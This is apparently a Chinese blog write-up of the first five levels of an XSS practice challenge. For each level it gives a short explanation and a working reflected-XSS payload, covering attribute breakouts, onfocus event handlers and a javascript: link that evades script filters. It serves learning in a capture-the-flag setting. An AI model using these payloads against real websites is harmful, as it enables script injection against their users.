test.ctf8(XSS挑战之旅)解题记录

本文带你逐步通关XSS挑战,从基础payload使用到高级绕过技术,如ExifXSS、AngularJS指令利用,深入讲解了HTML、CSS、JS、编码技巧和安全防护的突破点。

xss平台网址:test.ctf8.com

过关条件:只有能够跳出完成得不错得提示框,即为过关

level1

第一关没啥好说得,入门题

payload

<script>alert('abc')</script>


level2 

该题通过查看网页源码可以看出,该题将我们输入得内容插入到value标签中

那么我们可以通过在输入得内容前加入">去闭合value标签成功弹窗

 payload

"><script>alert(1)</script>


level3

这道题通过网页源码可以看出,<>被转义了,"无法被闭合

那么我们就可以在iinput标签内添加一个事件,可选比如说onclick,onfocus等,我们需要在构造得payload前加'(单引号)去闭合之前得value标签,在尾部加上//注释掉后面的'>,写完payload后要点击输入框触发事件

payload

' onfocus=alert('abc')//


 level4

这道题和上一关差不多,唯一区别就是value后面为"(双引号),将其上一题的payload前面单引号改为双引号即为该题payload

payload

" onfocus=alert('abc')//


level5

这道题将script以及onclick和onerror都过滤掉了,那么我们还要另一种方法a标签,构造好payload后点击链接就能成功弹窗了

payload

"><a href="javascript:alert('abc')">//


评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值